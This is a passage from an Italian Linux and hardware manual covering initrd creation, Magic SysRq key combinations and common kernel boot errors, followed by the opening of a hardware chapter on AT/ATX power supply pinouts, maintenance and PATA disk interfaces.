#!/bin/sh

echo linuxrc di prova; premi [Invio] per terminare
read x
```

Una volta creato il file, occorre ricordare di dargli i permessi necessari all'esecuzione:

```
# chmod 755 linuxrc [Invio]
```

Per la verifica, basta usare '**chroot**':

```
# chroot . /linuxrc [Invio]

linuxrc di prova; premi [Invio] per terminare

# [Invio]
```

Seguendo l'esempio, si ottiene il messaggio che chiede di premere [*Invio*], quindi lo script termina di funzionare e si torna alla situazione normale. A questo punto si può modificare lo script in modo da produrre gli effetti che si desiderano. In questo caso, si vuole dare il tempo al kernel di accorgersi della presenza di un disco USB ('/dev/sda2'), che viene innestato per l'avvio vero e proprio del sistema:

```
#!/bin/sh
echo Quando il disco USB viene riconosciuto, premere [Invio]
read var

/bin/mount -t proc proc proc

/bin/mount -o ro /dev/sda2 /nuova-root

cd /nuova-root

/bin/mkdir initrd
/bin/pivot_root . initrd

exec chroot . /sbin/init < dev/console > dev/console 2>&1
```

A questo punto si può creare il file-immagine. Questo file può essere «normale», oppure compresso con Gzip, o con l'uso del file system Cramfs (purché il kernel sia poi in grado di leggerlo così). In questo caso si segue la strada della compressione con Gzip.

cd [*Invio*]

dd if=/dev/zero of=file-immagine bs=1024k count=2 [*Invio*]

mkfs.ext2 -F file-immagine [*Invio*]

mkdir /tmp/immagine [*Invio*]

mount -o loop -t ext2 file-immagine /tmp/immagine [*Invio*]

cd radice-initrd [*Invio*]

cp -dpR * /tmp/immagine [*Invio*]

umount /tmp/immagine [*Invio*]

gzip -9 < file-immagine > initrd.gz [*Invio*]

Si ottiene così il file '`initrd.gz`'. Qui si omette di proposito di completare l'esempio con la spiegazione della procedura necessaria per fare in modo che il file preparato venga usato correttamente. Nella sezione teorica ci sono diversi esempi, tuttavia, questo esempio particolare avrebbe lo scopo di avviare un disco USB.

8.10 Combinazioni magiche con «R sist», ovvero «SysRq»

Se si attiva la voce *`Magic SysRq key`* del menù *`Kernel hacking`* si dispone sempre di un accesso privilegiato ad alcune funzioni attraverso una console, indipendentemente dal fatto che su questa sia attiva o meno una sessione di lavoro.

- *`Kernel hacking`*
  - *`Magic SysRq key`*

Queste funzioni si ottengono con delle combinazioni di tasti, costituite da [*R_Sist AltGr **x***], dove ***x*** è una lettera che cambia in funzione dell'operazione che si vuole compiere. Il tasto [*R_Sist*] corrisponde a [*SysRq*] nelle tastiere per la lingua inglese, da cui viene il nome della voce di menù. Si osservi anche che il tasto [*R_Sist*] o [*SysRq*], coincide con il tasto [*Stampa*] o [*Print_Screen*].

Figura 8.64. Combinazione di tasti [*R_Sist AltGr h*].

Ammesso che si intendano usare queste funzioni, di tutte le combinazioni va ricordata sicuramente [*R_Sist AltGr h*], come richiamato dalla figura, con cui si ottiene un menù delle altre combinazioni disponibili.

Tabella 8.65. Combinazioni di tasti più comuni per comunicare direttamente con il kernel.

Combinazione	Descrizione
[*R Sist AltGr h*]	Richiama una guida rapida a tutti i comandi disponibili.
[*R Sist AltGr r*]	*raw* Richiede di disattivare la modalità *raw*, che di norma viene attivata quando si utilizzano programmi grafici. Se si dà questo comando quando tale modalità non è attiva, non si provocano inconvenienti.
[*R Sist AltGr s*]	*sync* Richiede di completare le operazioni di scrittura.
[*R Sist AltGr u*]	*unmount* Richiede di reinnestare il file system in sola lettura.
[*R Sist AltGr b*]	*reboot* Richiede di riavviare il sistema.
[*R Sist AltGr i*]	Richiede di eliminare tutti i processi, a esclusione di '`init`'.
[*R Sist AltGr k*]	*kill* Richiede di eliminare tutti i processi attivi sulla console da cui si dà il comando.
[*R Sist AltGr f*]	Richiede di eliminare il processo elaborativo che risulta essere quello che utilizza più risorse.

La combinazione di tasti [*R Sist AltGr r*] serve per riprendere il controllo di una console quando si è creato un problema con un programma grafico che utilizza la tastiera in modo diretto (*raw*). Per riavviare il sistema, conviene procedere con i comandi: [*R Sist AltGr s*], [*R Sist AltGr u*]

e [*R Sist AltGr b*]. In pratica, in questo modo si completano le operazioni di scrittura nelle unità di memorizzazione; si passa a un utilizzo in sola lettura e quindi si riavvia il sistema.

Riquadro 8.66. Errori comuni segnalati dal kernel Linux

Errore	Annotazioni
`Kernel panic: No init found. Try passing init= option to kernel.`	Il kernel non è in grado di avviare il programma '**`/sbin/init`**' o qualunque altro programma indicato con il parametro '**`init=`**...'. Per risolvere il problema si può provare a utilizzare il parametro '**`init=`**...' (eventualmente indicando un programma differente, come '**`/bin/sh`**'), oppure, nel caso il programma esista ci si deve accertare del motivo per cui questo non viene avviato. Il mancato funzionamento del programma che svolge il ruolo di Init può dipendere dalle librerie che non sono corrette o che non sono state collegate correttamente con il file '`/etc/ld.so.cache`'; in modo particolare, è necessario che le librerie siano accessibili in lettura e anche eseguibili.
`Warning: unable to open an initial console.`	Il kernel non è in grado di aprire il file di dispositivo '`/dev/console`'. Probabilmente la directory '`/dev/`' è vuota e si prevede l'uso di un sistema come uDev, che però non ha ancora potuto creare i file di dispositivo. Per risolvere il problema occorre predisporre dei file di dispositivo di uso generale, che poi possono essere rimpiazzati da eventuali sistemi automatici per la loro gestione.

8.11 Riferimenti

- *The Linux kernel archive*

  ⟨*http://www.kernel.org/*⟩

- Linus Torvalds, */usr/src/linux symlink*

  ⟨*http://linuxmafia.com/faq/Kernel/usr-src-linux-symlink.html*⟩

- The Answer Gang, */usr/src/linux symlink considered harmful*, Linuxgazette, n. 62

  ⟨*http://linuxgazette.net/issue62/tag/4.html*⟩

- Sorgenti del kernel

  Le informazioni più aggiornate sull'uso dei parametri di avvio si possono trovare all'interno degli stessi sorgenti del kernel, nelle directory successive a '***sorgenti_linux***`/drivers/`' e all'interno di '***sorgenti_linux***`/Documentation/`' (può trattarsi dei commenti iniziali ai file dei sorgenti, o file di testo separati).

- Paul Gortmaker, *BootPrompt HOWTO*

  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html*⟩

- Pagina di manuale *bootparam(7)*

- File di configurazione dei moduli.

  Si può analizzare il file '`module-info`' che potrebbe trovarsi in '`/boot/`' o '`/etc/`'.

- Lauri Tischler, *Module HOWTO*
  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩
- Werner Almesberger, Hans Lermen, *Using the initial RAM disk (initrd)*
  '***sorgenti_linux***`/Documentation/initrd.txt`'

[1] Al posto di '**`make menuconfig`**' si possono usare dei comandi alternativi; eventualmente si può avere un elenco completo delle funzionalità del file-make con il comando '**`make help`**'.

[2] La sigla '**`bzImage`**' sta per *big zImage*, a indicare che si tratta di un'estensione del formato «zImage».

[3] Il termine *loop device* usato qui, non deve essere confuso con *loopback device* usato nella configurazione dei servizi di rete.

[4] **util-linux: pivot_root** GNU GPL

[5] **util-linux: blockdev** GNU GPL

[6] **Initrd tools** GNU GPL

Capitolo 9

Hardware

9.1 Alimentatori AT e ATX 353

9.1.1 Interruttore e cambio tensione 353
9.1.2 Fusibile 355
9.1.3 Dissipazione del calore 358
9.1.4 Pulizia 360
9.1.5 Alimentazione e affidabilità dell'elaboratore 360
9.1.6 Connettori comuni di alimentazione 361

9.2 Alimentatori ATX 362

9.2.1 Collegamento principale con la scheda madre: 20 poli 362
9.2.2 Collegamento principale con la scheda madre: 24 poli 364
9.2.3 Collegamento ausiliario con la scheda madre, +12 V 365
9.2.4 Collegamento ausiliario con la scheda madre «P6», +3,3 V, +5 V, ... 365
9.2.5 Controllo del funzionamento 366
9.2.6 Utilizzo di un alimentatore ATX per scopi vari 366

9.3 (P)ATA: AT attachment 367

9.3.1 Caratteristiche generali del sistema PATA 368
9.3.2 Geometria dei dischi 370
9.3.3 Caratteristiche del protocollo PATA e configurazione del firmware 370
9.3.4 Standard PATA e gergo comune 373
9.3.5 Gestione da parte di un kernel Linux delle unità PATA 374
9.3.6 Informazioni da un kernel Linux 374

9.4 SATA: Serial ATA 375

9.4.1 Adattatori 376
9.4.2 Gestione da parte del kernel Linux 377
9.4.3 Informazioni da un kernel Linux 377
9.4.4 Sistemi RAID SATA 379

9.5 Da ISA a PCI 379

9.5.1 ISA 379
9.5.2 MCA 381
9.5.3 EISA 381
9.5.4 VESA local bus 381
9.5.5 PCI 381
9.5.6 Informazioni da un kernel Linux 382
9.5.7 AGP 383

9.5.8 AMR . . . 386
9.5.9 PCI Express . . . 387

9.6 USB . . . 388

9.6.1 Caratteristiche generali . . . 388
9.6.2 Alimentazione elettrica . . . 390
9.6.3 Collegamento di una porta USB . . . 390
9.6.4 Tipi di unità di controllo . . . 391

9.7 USB e il Kernel Linux . . . 391

9.7.1 Informazioni . . . 392
9.7.2 Avvio di un sistema GNU/Linux da un'unità USB, con kernel monolitico . . 393
9.7.3 Sequenza di caricamento dei moduli del kernel . . . 395

9.8 Introduzione al BIOS . . . 397

9.8.1 Collocazione fisica del BIOS . . . 398
9.8.2 Blocco di avvio . . . 399
9.8.3 Modifica del BIOS . . . 400
9.8.4 BIOS di «marca» . . . 400
9.8.5 Salvare e riscrivere il BIOS . . . 413
9.8.6 BIOS Award . . . 414
9.8.7 BIOS AMI . . . 415
9.8.8 UniFlash . . . 416
9.8.9 Recupero disperato di un BIOS . . . 417

9.9 Modifica di un BIOS modulare . . . 418

9.9.1 BIOS modulari Award . . . 418
9.9.2 BIOS modulari AMI . . . 422

9.10 Memoria centrale difettosa . . . 425

9.10.1 Esclusione di altri fattori . . . 425
9.10.2 Memtest86+ . . . 426
9.10.3 Parametri di avvio del kernel . . . 427

9.11 Restauro . . . 428

9.11.1 Ripulitura . . . 429
9.11.2 Lavaggio di unità a dischetti . . . 431
9.11.3 Pulizia dei monitor . . . 431
9.11.4 Pulizia azzardata dei monitor . . . 434
9.11.5 Pulizia della tastiera . . . 435
9.11.6 Batteria . . . 437

9.11.7 Osservazioni sulla configurazione BIOS di elaboratori molto vecchi 438

9.12 Connettori e cablaggi 440

9.12.1 Video MGA, CGA, EGA, Hercules 441
9.12.2 Tastiere 441
9.12.3 Porte seriali 443
9.12.4 Porte parallele 444
9.12.5 Reti Ethernet 446

9.13 Riferimenti 450

9.1 Alimentatori AT e ATX

Gli alimentatori «AT» sono quelli che sono stati usati inizialmente per gli elaboratori con microprocessore i286; gli alimentatori «ATX» sono stati usati più avanti, per aggiungere delle funzionalità che non era possibile realizzare con quelli della generazione precedente. Tuttavia, tali alimentatori hanno delle caratteristiche comuni, che vengono considerate in questo capitolo.

> Quando si apre un alimentatore, si deve ricordare che al suo interno viene elaborata l'energia proveniente dalla rete elettrica comune, con la quale è possibile rimanere folgorati, se non si agisce con la competenza e la prudenza adeguate alla circostanza.

9.1.1 Interruttore e cambio tensione

Sul lato posteriore, vicino alla spina tripolare da pannello per l'ingresso dell'alimentazione elettrica, ci può essere un piccolo interruttore, con il quale si può spegnere l'alimentatore.

Figura 9.1. Pannello posteriore di un alimentatore tipico. Alla destra della grata della ventola, si vede: la spina tripolare da pannello; il cambio tensione; l'interruttore.

Figura 9.2. Spina tripolare da pannello, cambio tensione e interruttore, visti dall'interno.

Sempre sul lato posteriore, può essere presente un piccolo commutatore a slitta, per selezionare la tensione di alimentazione della rete elettrica. Di solito, il commutatore è collegato soltanto a due fili, che, se vengono messi in cortocircuito, fanno sì che l'alimentatore si aspetti di ricevere dall'esterno una tensione più bassa. In tal caso (lo si può verificare facilmente con un piccolo *tester*), considerato che in Italia viene fornita soltanto la tensione di 220 V a 50 Hz e che il cambio tensione serve, di norma, per selezionare una tensione di alimentazione pari a circa la metà di quella normale, può essere utile rimuovere il collegamento a questo cambio tensione, in modo da evitare errori accidentali nella sua configurazione.

Figura 9.3. Rimozione del commutatore del cambio tensione: distacco del commutatore dal pannello.

Figura 9.4. Rimozione del commutatore del cambio tensione: taglio dei fili.

9.1.2 Fusibile

All'interno dell'alimentatore, si trova normalmente un fusibile di protezione contro gli assorbimenti eccessivi, soprattutto allo scopo di evitare incendi. Generalmente, quando si brucia il fusibile, l'alimentatore ha un guasto; tuttavia, se non si riscontrano bruciature o rotture di componenti, si può tentare la sostituzione di un fusibile interrotto.

Figura 9.5. Integrato di regolazione bruciato; lo si capisce dalla rottura che appare nella parte inferiore. In una situazione come questa non serve a nulla cambiare il fusibile.

Figura 9.6. Fusibile. In questo caso, il fusibile è saldato e non può essere sostituito facilmente.

La sostituzione del fusibile deve avvenire utilizzandone un altro con le stesse caratteristiche. Generalmente si tratta di fusibili rapidi (lettera «F», per *fast*) e la corrente va letta sulla coroncina metallica del fusibile stesso. Eventualmente, si può stimare il valore della corrente di un fusibile, in base alla potenza che deve essere erogata dall'alimentatore, come si vede nel grafico contenuto nella figura successiva.

Figura 9.7. Stima della corrente massima del fusibile in funzione della potenza continua erogabile dall'alimentatore. Si osservi che il valore della corrente cambia anche in funzione della tensione di alimentazione usata in ingresso.

corrente di fusione in ampere
9 8 7 6 5 4 3 2 1
tensione di alimentazione a 110 V
tensione di alimentazione a 220 V
25 50 75 100 125 150 175 200 225
potenza continua in watt

Figura 9.8. Stima della corrente massima del fusibile in funzione della potenza massima (di picco) erogabile dall'alimentatore. Si osservi che di norma, la potenza massima corrisponde al doppio della potenza continua (media) erogabile.

corrente di fusione in ampere
9 8 7 6 5 4 3 2 1
tensione di alimentazione a 110 V
tensione di alimentazione a 220 V
50 100 150 200 250 300 350 400 450
potenza di picco in watt

9.1.3 Dissipazione del calore

Gli alimentatori richiedono un sistema di dissipazione del calore, prodotto dai componenti che regolano la tensione di alimentazione, attraverso il controllo del flusso di corrente elettrica. I componenti che producono calore sono attaccati fisicamente a delle alette di raffreddamento di alluminio, per facilitare la dissipazione del calore stesso; tuttavia, queste alette richiedono un flusso continuo di aria per potersi raffreddare.

L'alimentatore tipico contiene una ventola per il raffreddamento dei dissipatori contenuti all'interno. Questa ventola si colloca normalmente sul pannello posteriore dell'alimentatore ed è orientata in modo da espellere l'aria all'esterno. Eccezionalmente, gli elaboratori che puntano sulla silenziosità, utilizzano piuttosto alimentatori con ventole aspiranti, oppure non utilizzano alcuna ventola, ma si collocano sopra la CPU, dove si avvalgono della ventilazione della CPU stessa.

Figura 9.9. Ventola posta sul pannello posteriore dell'alimentatore, vista dall'interno. Questa è la situazione comune di una ventola che spinge l'aria verso l'esterno.

Figura 9.10. Interno di un alimentatore in grado di erogare una potenza molto bassa. Si vedono delle alette di raffreddamento di piccole dimensioni e una sola ventola (sulla sinistra).

Osservando il sistema di dissipazione di un alimentatore, si può intuire la potenza massima erogabile: un circuito con componenti di piccole dimensioni e molto spazio libero, deve generare poco calore, di conseguenza non può erogare una grande potenza; al contrario, un circuito con componenti più grandi e con un sistema di dissipazione più appariscente, dovrebbe sostenere carichi più importanti.

Figura 9.11. Interno di un alimentatore in grado di erogare una potenza relativamente alta. Si vedono delle alette di raffreddamento di dimensioni più grandi e due ventole cooperanti.

9.1.4 Pulizia

L'alimentatore contiene componenti che richiedono la dissipazione del calore, attraverso una ventilazione forzata che ha lo svantaggio di depositare velocemente uno strato di sporco sui componenti. Lo sporco riduce la capacità di dissipazione termica dei componenti, creando anche la possibilità di formare dei cortocircuiti.

Dopo un certo numero di ore di esercizio, un alimentatore dovrebbe essere pulito per garantirne il funzionamento nel tempo successivo, ma la pulizia migliore è quella fatta con l'acqua. Infatti, di norma un alimentatore sopporta bene un lavaggio in lavastoviglie (purché sia stato prima aperto), a una temperatura di 50 gradi centigradi (con tutto quello che serve per la lavastoviglie, come se si trattasse di un lavaggio normale); in alternativa, si può ripiegare per un lavaggio sotto una doccia calda, con sola acqua. Dopo il lavaggio e dopo qualche giorno di attesa per l'asciugatura, l'alimentatore può essere rimesso in funzione. Si veda anche la sezione 9.11.1 a proposito del lavaggio degli alimentatori e di altri componenti di un elaboratore.

9.1.5 Alimentazione e affidabilità dell'elaboratore

Il buon funzionamento dell'alimentatore può condizionare l'affidabilità dell'elaboratore. Infatti, quando un alimentatore non è in grado di erogare tutta la corrente richiesta, può succedere che, di conseguenza, abbassi la tensione di alimentazione. Quando ciò accade, un buon alimentatore deve essere in grado di accorgersene e inviare un segnale di cattiva alimentazione alla scheda madre (in pratica, il segnale noto come *power good*, o *power ok*, deve venire a

mancare). Se però l'alimentatore non fa questo in modo corretto, l'elaboratore può anche continuare a funzionare, ma in tal caso non è detto che lo faccia senza conseguenze negative.

Un sintomo di cattiva alimentazione elettrica, può essere dato da un'alterazione casuale dei dati. Per esempio, copiando un file, la copia potrebbe essere differente dall'originale. Sintomi più appariscenti sono dei **malfunzionamenti delle unità a disco**, che spesso si manifestano facendo sentire un **movimento brusco delle testine prima di un blocco del sistema**.

Tutti gli alimentatori sono fatti per sostenere, per periodi brevi, un assorbimento maggiore di quello «normale» per i quali sono stati progettati. Di conseguenza, i sintomi di un'alimentazione insufficiente non si presentano subito, ma durante il funzionamento, ed è questo particolare che rende difficile determinarne la causa. In pratica, durante il funzionamento gli alimentatori si scaldano e se la dissipazione del calore è insufficiente, si presentano i problemi in questione.

Purtroppo, le etichette che appaiono sugli alimentatori non sono sempre veritiere; al contrario, spesso si dichiarano potenze doppie rispetto alla realtà. La situazione più comune in cui i dati riportati dalle etichette non sono attendibili si manifesta con gli alimentatori incorporati in un contenitore da elaboratore (*case*), venduto per gli assemblaggi personalizzati; meglio ancora se il contenitore è di piccole dimensioni, così da rendere improbabile l'inserimento di tanti componenti.

Quando la potenza dell'alimentatore è importante, è altrettanto importante poter capire se l'etichetta riporta valori verosimili o meno. La prima cosa che si può osservare è il peso: un alimentatore leggero non riesce a erogare una potenza elevata. Un'altra cosa da osservare è il sistema di dissipazione: per erogare una potenza elevata i componenti di regolazione devono essere raffreddati da alette di alluminio profilato, con una superficie molto grande; inoltre queste alette devono essere sottoposte a una ventilazione significativa, quindi spesso servono due ventole, una di fronte all'altra. Se si può aprire l'alimentatore, si può osservare la dimensione degli altri componenti: se nell'insieme i componenti sono abbastanza piccoli da lasciare molto spazio libero, l'alimentatore può erogare solo potenze minime; al contrario, un alimentatore che deve erogare potenze elevate, richiede componenti più grandi (diodi, condensatori, trasformatori, ecc.).

9.1.6 Connettori comuni di alimentazione

Per il collegamento di unità separate dalla scheda madre, si usano normalmente dei connettori a quattro poli (femmine volanti), che forniscono le tensioni di +5 V e +12 V, oltre alla massa (0 V), come si vede nelle figure successive.

Figura 9.12. Connettore di alimentazione usato comunemente per le unità PATA.

1 giallo +12 V
nero
nero
4 rosso +5 V

Figura 9.13. Connettore di alimentazione usato comunemente per le vecchie unità a dischetti da 9 cm.

1 rosso +5 V
nero
nero
4 giallo +12 V

9.2 Alimentatori ATX

L'alimentatore «ATX» rappresenta la generazione successiva a quella dell'alimentatore «AT», distinguendosi principalmente da questo, per il fatto di avere una gestione dell'accensione e dello spegnimento tramite un controllo remoto (il filo verde).

> Quando si apre un alimentatore, si deve ricordare che al suo interno viene elaborata l'energia proveniente dalla rete elettrica comune, con la quale è possibile rimanere folgorati, se non si agisce con la competenza e la prudenza adeguate alla circostanza.

9.2.1 Collegamento principale con la scheda madre: 20 poli

La figura successiva mostra schematicamente il connettore principale tipico, che serve ad alimentare la scheda madre. Il terminale numero otto, collegato con un filo di colore grigio, fornisce una tensione di +5 V, quando l'alimentatore è acceso e sta funzionando regolarmente. Il terminale numero nove, collegato con un filo di colore viola, fornisce una tensione di +5 V, sia durante il funzionamento normale dell'alimentatore, sia quando questo figura «spento»,

ma ancora alimentato dalla rete elettrica esterna. Il terminale numero 14, collegato con un filo di colore verde, consente di attivare o disattivare l'alimentatore; per l'attivazione, deve essere collegato alla massa, mentre è sufficiente tenerlo isolato per disattivare l'alimentatore. Il filo marrone, si inserisce, assieme a un filo di colore arancio, nel terminale numero 11; il suo scopo è quello di consentire all'alimentatore di sondare la presenza dell'alimentazione a 3,3 V, ma alcuni alimentatori non hanno proprio tale filo marrone.

Figura 9.14. Schema del connettore principale per l'alimentazione della scheda madre.

		1	11		
+3,3 V	arancio			arancio (+ marrone)	+3,3 V
+3,3 V	arancio			blu	−12 V
massa	nero			nero	massa
+5 V	rosso			verde	accensione
massa	nero			nero	massa
+5 V	rosso			nero	massa
massa	nero			nero	massa
power good	grigio			bianco	−5 V
+5 V stand by	viola			rosso	+5 V
+12 V	giallo			rosso	+5 V
		10	20		

Figura 9.15. Foto del connettore principale per l'alimentazione della scheda madre.

9.2.2 Collegamento principale con la scheda madre: 24 poli

Esistono alimentatori ATX con un connettore per il collegamento della scheda madre, a 24 poli. In questo caso, oltre all'aggiunta di quattro poli addizionali, può venire a mancare la linea da −5 V (filo bianco).

Figura 9.16. Schema del connettore principale per l'alimentazione della scheda madre, a 24 poli.

		1	13		
+3,3 V	arancio			arancio (+ marrone)	+3,3 V
+3,3 V	arancio			blu	−12 V
massa	nero			nero	massa
+5 V	rosso			verde	accensione
massa	nero			nero	massa
+5 V	rosso			nero	massa
massa	nero			nero	massa
power good	grigio				non collegato
+5 V stand by	viola			rosso	+5 V
+12 V	giallo			rosso	+5 V
+12 V	giallo			rosso	+5 V
+3,3 V	arancio			nero	massa
		12	24		

Figura 9.17. Foto del connettore principale per l'alimentazione della scheda madre, a 24 poli.

Osservando la foto, si vede che il connettore può essere formato dall'unione di due connettori, che eventualmente possono anche essere separati. Infatti, la porzione più grande del connettore (quella con 20 poli), è conforme allo standard più vecchio, a parte il fatto che manca il filo bianco. Tuttavia, nella maggior parte dei casi, le schede madri che usano un connettore a soli 20 poli, non richiedono la tensione di −5 V, che dovrebbe essere fornita da quel filo mancante.

9.2.3 Collegamento ausiliario con la scheda madre, +12 V

Alcune schede madri richiedono una sorgente di alimentazione addizionale, attraverso un piccolo connettore a quattro poli, come si vede nella figura successiva, che fornisce +12 V.

Figura 9.18. Connettore ausiliario per l'alimentazione della scheda madre con +12 V.

		Pin	Pin		
massa	nero	1	3	giallo	+12 V
massa	nero	2	4	giallo	+12 V

9.2.4 Collegamento ausiliario con la scheda madre «P6», +3,3 V, +5 V,

Alcune schede madri ATX richiedono una fonte di alimentazione ausiliaria per le tensioni più basse. Per questo si utilizza solitamente un connettore noto con la sigla «P6», molto simile a quelli usati negli alimentatori AT (ma nel caso degli alimentatori AT, si tratta dei connettori «P8» e «P9»).

Figura 9.19. Connettore ausiliario per l'alimentazione della scheda madre con +3,3 V e +5 V.

rosso	+5 V
arancio	+3,3 V
arancio	+3,3 V
nero	massa
nero	massa
nero	massa

P6

9.2.5 Controllo del funzionamento

Quando si accende un alimentatore ATX senza che sia stato prima collegato alla scheda madre, questo rimane in attesa, senza erogare energia dalle linee principali (lasciando ferma la stessa ventola). Per mettere in funzione l'alimentatore, anche senza collegarlo alla scheda madre, occorre cortocircuitare il terminale del filo verde (a seconda della dimensione del connettore, può trattarsi del terminale numero 14, oppure del numero 16) con la massa. Per esempio, nella figura successiva vengono collegati i terminali 13 e 14 di un connettore a 20 poli, con un pezzo di fermaglio per lettera, proprio per mettere subito in funzione l'alimentatore quando questo riceve energia dalla rete esterna.

Figura 9.20. Accensione di fortuna di un alimentatore ATX.

In questo modo, è possibile fare un controllo di massima del funzionamento di un alimentatore, semplicemente osservando se si avvia la ventola di raffreddamento.

9.2.6 Utilizzo di un alimentatore ATX per scopi vari

Un alimentatore ATX che non serve più, potrebbe essere riutilizzato per compiti diversi, fuori dal contenitore di un elaboratore. Per trasformare un alimentatore in questo modo, occorre tenere presente almeno due cose:

- se è presente il filo marrone, questo deve essere collegato a un filo arancione, altrimenti l'alimentatore non si metterebbe in funzione;
- è necessario utilizzare un piccolo interruttore per collegare il filo verde con la massa, in modo da poter mettere in funzione l'alimentatore o rimetterlo a riposo.

Dell'alimentatore che si ottiene, oltre alla massa, si possono utilizzare le linee normali da +3,3 V, +5 V, +12 V, −12 V e −5 V. Pertanto, il filo grigio e il filo viola, non servono.

Eventualmente, il filo grigio può essere usato per applicarvi un diodo LED, con una resistenza appropriata in serie (500 ohm, 0,25 W), in modo da sapere che l'alimentatore è acceso, anche se eventualmente non risulta ancora attivo.

Figura 9.21. Trasformazione molto semplice di un alimentatore per usi generali. Si può osservare che il filo verde è stato collegato in modo stabile a un filo nero, per attivare l'alimentatore appena gli viene fornita energia dalla rete elettrica esterna.

9.3 (P)ATA: AT attachment

ATA, ovvero *AT attachment*, è stato originariamente un bus a 16 bit, nato per il collegamento di dischi fissi. Questo tipo di bus è conosciuto anche con altri nomi, che però non sono standard; in particolare «IDE», ovvero *Integrated drive electronics*. Il bus ATA (parallelo) è stato definito quando la tecnologia ha iniziato a integrare l'elettronica dell'interfaccia nel disco fisso stesso, da cui viene l'acronimo IDE. Il primo elaboratore che abbia incorporato un bus ATA è stato proprio un IBM PC/AT, da cui il nome che giustifica l'acronimo ATA. Successivamente, nel 2001, con l'introduzione di un bus seriale, derivato dallo standard ATA, per distinguere i due tipi si sono introdotte le sigle «PATA», per «paralel ATA», e «SATA» per «serial ATA». Questo capitolo tratta del bus ATA parallelo.

Il bus PATA ha avuto subito un grande successo ed è diventato uno standard molto importante. L'evoluzione dello standard ha portato a espandere le possibilità del bus, che originariamente permetteva solo il collegamento di dischi fissi, consentendo l'uso di altri tipi di dischi e non solo questo, attraverso le estensioni ATAPI (*ATA packet interface*).

9.3.1 Caratteristiche generali del sistema PATA

Un bus PATA tradizionale (ma in questo contesto si potrebbe usare il termine «canale») consente di collegare uno o due unità, attraverso una piattina con tre connettori da 40 poli (un connettore si collega all'unità di controllo PATA, mentre gli altri due servono per i componenti), come si vede nella figura 9.22. Un'estremità della piattina è colorata in modo diverso a indicare il lato in cui si trova il terminale numero uno.

Figura 9.22. Connettore a 40 poli e pezzo di piattina a 40 fili per una connessione PATA normale. In questo caso, il riferimento al terminale numero uno si trova sul lato destro.

Figura 9.23. Disegno di un connettore a 40 poli con piattina completo. La tacca superiore e il foro otturato non sono sempre presenti.

I due dischi, o comunque i due componenti che si collegano all'unità di controllo devono essere distinti, essendo uno *master* e l'altro *slave*. Questa distinzione è indispensabile e in condizioni normali è necessario dichiarare questo ruolo dei componenti utilizzando dei ponticelli o dei micro interruttori. In questa situazione, utilizzando piattine normali diventa indifferente il collegamento dei componenti su questo o su quel connettore. In particolare, a differenza del bus SCSI non è richiesta alcuna terminazione.

Figura 9.24. Un'etichetta che appare su un disco fisso per guidare la configurazione in qualità di *master* o di *slave*, oppure lasciando che sia il cavo a definire la posizione.

Eventualmente esistono dei cavi PATA speciali che consentono di distinguere l'unità *master* da quella *slave* in base alla scelta del connettore utilizzato. Ma questo fatto richiede comunque

la selezione nelle unità stesse della modalità *cable select*, sempre attraverso ponticelli o micro interruttori.

Figura 9.25. Lato posteriore di un disco fisso in cui si vede il connettore da 40 poli (il terminale numero uno si trova nel lato destro); una fila di ponticelli per la selezione di *master*, *slave* o *cable select*; il connettore di alimentazione. Si osservi l'assenza di un piedino nella parte centrale del connettore.

Lo standard PATA, nella sua evoluzione, ha cercato di mantenere la compatibilità con il passato, per garantire che un'unità di controllo aggiornata sia in grado di funzionare anche con componenti PATA più vecchi e viceversa. In particolare, questo fatto serve a garantire che l'accoppiamento di due componenti eterogenei, collegati allo stesso canale, non comporti complicazioni. In pratica, nonostante le buone intenzioni, possono anche sorgere dei problemi di compatibilità; inoltre, l'accoppiamento di due componenti eterogenei implica solitamente l'utilizzo del protocollo di comunicazione migliore che entrambi sono in grado di gestire, costringendo uno dei due a lavorare con prestazioni inferiori rispetto alle proprie possibilità.

Il protocollo PATA si è sviluppato nel tempo utilizzando tecniche diverse per la comunicazione dei dati. In particolare, le versioni più recenti che consentono velocità di trasferimento dati più elevate richiedono una piattina speciale, in cui ogni collegamento dei 40 poli esistenti viene separato da un filo di massa, allo scopo di ridurre le interferenze reciproche. Questo tipo di piattina a 80 fili ha anche la caratteristica di selezionare automaticamente il componente *master* e *slave*, pertanto questi devono essere configurati in modalità *cable select*.

Figura 9.26. Disegno di una piattina completa a 80 fili.

In particolare, il connettore blu, o azzurro, va collegato all'unità di controllo; il connettore nero, all'estremità opposta, va collegato al disco *master*; il connettore grigio va collegato al disco *slave*.

Figura 9.27. Connettori per due canali PATA su una scheda madre. Il terminale numero uno si trova sul lato destro. Si osservi l'assenza di un piedino nella parte centrale del connettore.

9.3.2 Geometria dei dischi

I dischi (fissi o rimovibili che sia) hanno una geometria, definita in base a tre coordinate: cilindro, testina e settore. Nella prima edizione dello standard PATA è necessario indicare i valori massimi di queste coordinate nella configurazione del firmware. A partire da ATA-2 si è introdotta la capacità di identificare automaticamente la geometria dei dischi e di poterla ridefinire in base a ciò che è stato chiamato LBA, ovvero *Logical block addressing*.

Attraverso questo meccanismo, se il firmware è predisposto per farlo, è possibile superare i limiti alla quantità di cilindri e di testine imposti dalla struttura tradizionale del firmware stesso. Tuttavia, perché sia possibile l'utilizzo di questa possibilità, è necessario anche che il sistema operativo e il sistema di avvio siano in grado di gestirla.

9.3.3 Caratteristiche del protocollo PATA e configurazione del firmware

Attualmente, nell'ambito del protocollo PATA si distinguono tre modalità di comunicazione: PIO (*Programmed I/O*), DMA (che comunque si articola in due sotto categorie) e Ultra DMA. Ognuna di queste modalità ha poi dei livelli differenti, costituiti da un numero intero, dove lo zero rappresenta quello minimo con le prestazioni peggiori, mentre i valori successivi indicano una progressione.

- Il protocollo PIO è il primo a essere stato realizzato e ha la caratteristica di impegnare direttamente l'unità centrale (la CPU) per il suo funzionamento. La tabella 9.28 elenca le modalità PIO, ovvero i livelli di questo protocollo, in cui si può vedere che il numero cinque non appartiene allo standard codificato, ma probabilmente viene indicato da qualche costruttore, facendo riferimento a una velocità di trasferimento di 22 Mbyte/s.

  Tabella 9.28. Modalità PIO.

Modalità PIO	Velocità massima in Mbyte/s (10^6 byte/s)	Note
0	3,3	
1	5,2	
2	8,3	
3	11,1	
4	16,7	
5	22,2	Non standard.

